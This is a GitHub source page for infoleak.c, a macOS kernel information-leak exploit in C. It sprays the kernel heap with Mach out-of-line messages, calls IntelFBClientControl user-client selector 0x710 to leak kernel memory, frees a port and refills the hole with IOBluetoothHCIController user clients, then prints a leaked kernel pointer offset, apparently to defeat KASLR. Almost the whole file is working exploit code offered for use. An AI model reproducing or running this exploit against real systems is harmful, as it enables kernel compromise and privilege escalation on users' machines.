-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathinfoleak.c
200 lines (170 loc) · 5.18 KB
/
infoleak.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
#include <mach-o/loader.h>
#include <sys/mman.h>
#include <pthread.h>
#include <mach/mach.h>
#include <sys/utsname.h>
#include <assert.h>
#include <IOKit/IOKitLib.h>
#include <IOKit/iokitmig.h>
#include <stdlib.h>
#include <stdio.h>
#define start 570
#define PORT_NUM 290000
typedef struct {
mach_msg_header_t head;
mach_msg_body_t msgh_body;
mach_msg_ool_descriptor_t desc;
mach_msg_type_number_t count;
} pzp;
mach_port_t *ports;
void heapInit(){
ports = calloc(PORT_NUM, sizeof(mach_port_t));
for (int i = 0; i < PORT_NUM; i++) {
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]);
mach_port_insert_right(mach_task_self(), ports[i], ports[i], MACH_MSG_TYPE_MAKE_SEND);
}
pzp msg1;
memset(&msg1, 0, sizeof(pzp));
pzp msg2;
memset(&msg2, 0, sizeof(pzp));
uint64_t* buffer = calloc(0x1000, sizeof(uint64_t));
for (int i = 0; i < 0x1000; i++) {
//这里是为了不让虚表处在outputStruct的开头,因为开头的低32位会被offset覆盖
buffer[i] = 0xffffff8060002000-0x190;
}
// buffer[59] = 0x1;
buffer[491] = 0;
//init heap fengshui msg
msg1.head.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
msg1.head.msgh_local_port = MACH_PORT_NULL;
msg1.head.msgh_size = sizeof(msg1);
msg1.msgh_body.msgh_descriptor_count = 1;
msg1.desc.address = buffer;
msg1.desc.size = 0x1000-0x18; //64
msg1.desc.type = MACH_MSG_OOL_DESCRIPTOR;
msg1.desc.deallocate = FALSE;
msg1.desc.copy = MACH_MSG_VIRTUAL_COPY;
msg1.count = msg1.desc.size;
/*
// send all
pthread_yield_np();
for (int i = 0; i < PORT_NUM; i++) {
msg1.head.msgh_remote_port = ports[i];
kern_return_t kret = mach_msg(&msg1.head, MACH_SEND_MSG, msg1.head.msgh_size, 0, 0, 0, 0);
assert(kret==0);
}
*/
for(int i = 0 ; i < PORT_NUM ; i++) {
//表示是哪一个msg
buffer[3]=i;
msg1.head.msgh_remote_port = ports[i];
kern_return_t kret = mach_msg(&msg1.head, MACH_SEND_MSG, msg1.head.msgh_size, 0, 0, 0, 0);
assert(kret==0);
}
printf("[+]heap spray done..\n");
return;
}
void alloc_userclient(){
kern_return_t err;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOBluetoothHCIController"));
if(service == IO_OBJECT_NULL){
printf("unable to find service\n");
return;
}
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if(err != KERN_SUCCESS){
printf("unable to open user client\n");
return;
}
void *a = malloc(0x110);
memset(a,0,0x100);
void *b = malloc(0x110);
memset(b,0,0x100);
size_t size=0x4;
*(uint64_t *)(a+0x38) = 0x4;
*(uint64_t *)(a+0x40) = 0x4;
*(uint64_t *)(a+0x48) = 0x28;
*(uint64_t *)(a+0x50) = 0x8;
*(uint64_t *)(a+0x60) = 0x2;
*(uint64_t *)(a+0x84) = 0x4;
//*(uint32_t *)(a+0x60) = 0x74;
err = IOConnectCallMethod(conn,0,NULL,0,a,0x74,NULL,NULL,b,&size);
if( err == KERN_SUCCESS)
printf("create successfully\n");
else
printf("create fail:%x\n", err);
return;
}
int main(int argc, char ** argv){
heapInit();
pzp msg2;
memset(&msg2, 0, sizeof(msg2));
kern_return_t err;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IntelFBClientControl"));
if(service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(),0,&conn);
if(err != KERN_SUCCESS){
printf("unable to get user client\n");
return 0;
}
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 4096;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 0;
char outputStruct[4096];
size_t outputStructCnt = 4096;
memset(inputStruct, 0, inputStructCnt);
memset(outputStruct, 0, outputStructCnt);
*(uint64_t *)(inputStruct) = 0x493dde6;
//*(uint32_t *)(inputStruct+4) = 8;
//*(uint32_t *)(inputStruct+8) = 8;
err = IOConnectCallMethod(
conn,
0x710,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
if(err != KERN_SUCCESS){
printf("failed, err code: %x\n", err);
return 0;
}
uint64_t *leaked = (uint64_t *)(outputStruct);
printf("msg_id: 0x%llx\n", leaked[10]);
int msg_id = leaked[10];
msg2.head.msgh_local_port = ports[msg_id];
err = mach_msg(&msg2.head, MACH_RCV_MSG,0,sizeof(msg2), ports[msg_id],0,0);
//销毁这个msg,方便之后用蓝牙对象做覆盖
mach_port_deallocate(mach_task_self(), ports[msg_id]);
mach_port_destroy(mach_task_self(), ports[msg_id]);
for(int i = 0 ; i < 100 ; i++)
alloc_userclient();
getchar();
getchar();
err = IOConnectCallMethod(
conn,
0x710,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
for(int i =0 ; i < 10 ; i++)
printf("0x%llx\n", leaked[4]);
printf("0x%llx\n", leaked[4]-0xffffff7f82d2c998);
return 0;
}